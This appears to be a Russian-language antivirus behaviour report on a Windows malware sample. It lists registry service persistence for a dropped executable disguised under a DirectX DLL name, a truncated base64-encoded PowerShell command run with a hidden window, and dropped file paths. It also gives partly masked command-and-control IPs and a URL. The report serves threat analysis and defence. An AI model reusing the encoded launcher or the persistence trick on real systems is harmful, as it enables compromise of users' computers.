Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\D3DX9_38] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\D3DX9_38] 'ImagePath' = '"%WINDIR%\SysWOW64\api-ms-win-core-profile-l1-1-0\D3DX9_38.exe"'
- 'D3DX9_38' "%WINDIR%\SysWOW64\api-ms-win-core-profile-l1-1-0\D3DX9_38.exe"
- 'D3DX9_38' %WINDIR%\SysWOW64\api-ms-win-core-profile-l1-1-0\D3DX9_38.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\kst21p7ps.exe
- %WINDIR%\syswow64\api-ms-win-core-profile-l1-1-0\d3dx9_38.exe
- %TEMP%\office2019\kst21p7ps.exe в %WINDIR%\syswow64\api-ms-win-core-profile-l1-1-0\d3dx9_38.exe
- '65.#6.62.20':80
- '20#.#26.6.222':8080
- '5.###.250.14':8080
- http://je####reiberg.de/cgi-bin/F/
- http://5.###.250.14:8080/1SBC/zaDk4sI/Fc8xICs7pOJhDBxm/ via 5.###.250.14
- DNS ASK je####reiberg.de
- '%TEMP%\office2019\kst21p7ps.exe'
- '%WINDIR%\syswow64\api-ms-win-core-profile-l1-1-0\d3dx9_38.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)